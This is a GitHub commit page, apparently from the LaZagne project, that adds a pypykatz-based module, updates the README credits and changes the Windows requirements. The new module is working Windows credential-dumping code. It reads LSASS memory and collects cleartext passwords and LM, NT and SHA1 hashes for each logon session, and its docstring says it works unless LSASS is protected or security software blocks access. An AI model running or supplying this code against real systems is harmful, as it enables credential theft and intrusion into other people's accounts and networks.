Skip to content

Commit ebdd611

Browse files
committed
adding pypykatz module
1 parent 71f2224 commit ebdd611

File tree

3 files changed

+75
-2
lines changed

3 files changed

+75
-2
lines changed

README.md

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -111,6 +111,7 @@ Special thanks
111111
* Harmjoy for [KeeThief](https://github.com/HarmJ0y/KeeThief/)
112112
* n1nj4sec for his [mimipy](https://github.com/n1nj4sec/mimipy) module
113113
* Benjamin DELPY for [mimikatz](https://github.com/gentilkiwi/mimikatz), which helps me to understand some Windows API.
114+
* @skelsec for [Pypykatz](https://github.com/skelsec/pypykatz)
114115
* Moyix for [Creddump](https://github.com/moyix/creddump)
115116
* N0fat for [Chainbreaker](https://github.com/n0fate/chainbreaker/)
116117
* Richard Moore for the [AES module](https://github.com/ricmoo/pyaes)
Lines changed: 73 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,73 @@
1+
# -*- coding: utf-8 -*-
2+
3+
# Thanks to @skelsec for his awesome tool Pypykatz
4+
# Checks his project here: https://github.com/skelsec/pypykatz
5+
6+
import codecs
7+
8+
from lazagne.config.module_info import ModuleInfo
9+
from lazagne.config.constant import constant
10+
from pypykatz.pypykatz import pypykatz
11+
12+
13+
class Pypykatz(ModuleInfo):
14+
"""
15+
Pypykatz dumps all secrets from the lsass.exe memory
16+
It does not work if:
17+
- LSASS is running as a protected process
18+
- A security product blocks this access
19+
"""
20+
21+
def __init__(self):
22+
ModuleInfo.__init__(self, 'pypykatz', 'windows', system_module=True)
23+
24+
def run(self):
25+
mimi = None
26+
try:
27+
mimi = pypykatz.go_live()
28+
except Exception:
29+
pass
30+
31+
if mimi:
32+
results = {}
33+
logon_sessions = mimi.to_dict().get('logon_sessions', [])
34+
for logon_session in logon_sessions:
35+
36+
# Right now kerberos_creds, dpapi_creds and credman_creds results are not used
37+
user = logon_sessions[logon_session].to_dict()
38+
39+
# Get cleartext password
40+
for i in ['ssp_creds', 'livessp_creds', 'tspkg_creds', 'wdigest_creds']:
41+
for data in user.get(i, []):
42+
if all((data['username'], data['domainname'], data['password'])):
43+
login = data['username']
44+
if login not in results:
45+
results[login] = {}
46+
47+
results[login]['Domain'] = data['domainname']
48+
results[login]['Password'] = data['password']
49+
50+
# msv_creds to get sha1 user hash
51+
for data in user.get('msv_creds', []):
52+
if data['username']:
53+
login = data['username']
54+
else:
55+
login = user['username']
56+
57+
if login not in results:
58+
results[login] = {}
59+
60+
if data['SHAHash']:
61+
results[login]['Shahash'] = codecs.encode(data['SHAHash'], 'hex')
62+
if data['LMHash']:
63+
results[login]['Lmhash'] = codecs.encode(data['LMHash'], 'hex')
64+
if data['NThash']:
65+
results[login]['Nthash'] = codecs.encode(data['NThash'], 'hex')
66+
67+
constant.pypykatz_result = results
68+
pwd_found = []
69+
for user in results:
70+
results[user]['Login'] = user
71+
pwd_found.append(results[user])
72+
73+
return pwd_found

Windows/requirement.txt

Lines changed: 1 addition & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,3 +1,2 @@
1-
construct==2.9.39
21
pyasn1
3-
psutil
2+
https://github.com/AlessandroZ/pypykatz/archive/master.zip # should point to pypykatz if my PR is approved

0 commit comments

Comments
 (0)